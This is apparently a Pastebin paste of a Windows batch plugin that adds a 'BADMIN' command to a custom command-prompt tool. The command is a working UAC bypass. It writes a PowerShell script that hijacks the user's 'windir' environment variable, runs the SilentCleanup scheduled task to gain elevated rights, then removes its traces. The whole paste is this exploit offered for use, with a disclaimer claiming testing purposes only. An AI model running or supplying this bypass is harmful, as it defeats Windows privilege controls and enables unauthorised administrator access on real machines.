Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- rem Made Using LiamBogurs Super Command Prompt Plugin Compiler
- rem Made By LiamBogur (UAC Bypass Admin Command)
- rem To install plugins just put the code in a .scmd file in the same directory as the main program
- rem Remember to frequently check for new updates of this plugin (not that this one will be updated much)
- rem NOTE: I am not legally responsible for anything you do with this program, this program was made for testing purposes ONLY!
- if %D%==1 (
- goto :eof
- )
- if %A%==2 (
- if /I %Command%==BADMIN (
- echo Set-ItemProperty -Path "HKCU:\Environment" -Name "windir" -Value "C:\Users\Public\SCMD.bat %LASTDIR% ;#">Powershell.ps1
- echo schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I ^| Out-Null>>Powershell.ps1
- echo Remove-ItemProperty -Path "HKCU:\Environment" -Name "windir">>Powershell.ps1
- powershell -ep bypass .\Powershell.ps1
- del Powershell.ps1
- exit
- )
- if /I %Command%==PHELP (
- echo Badmin ^| Badmin ^(Like the admin command, but bypasses UAC^)
- goto :eof
- )
- )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement